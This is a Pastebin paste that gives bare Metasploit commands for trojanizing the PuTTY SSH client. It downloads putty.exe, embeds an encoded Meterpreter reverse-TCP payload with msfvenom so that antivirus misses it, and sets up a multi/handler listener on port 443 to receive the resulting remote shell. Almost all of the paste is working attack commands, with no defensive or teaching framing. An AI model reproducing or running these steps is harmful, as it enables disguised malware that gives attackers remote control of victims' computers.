Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=your linux ip -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
- msf > use exploit/multi/handler
- msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
- PAYLOAD => windows/meterpreter/reverse_tcp
- msf exploit(handler) > set LHOST 192.168.1.101
- LHOST => your linux ip
- msf exploit(handler) > set LPORT 443
- LPORT => 443
- msf exploit(handler) > exploit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement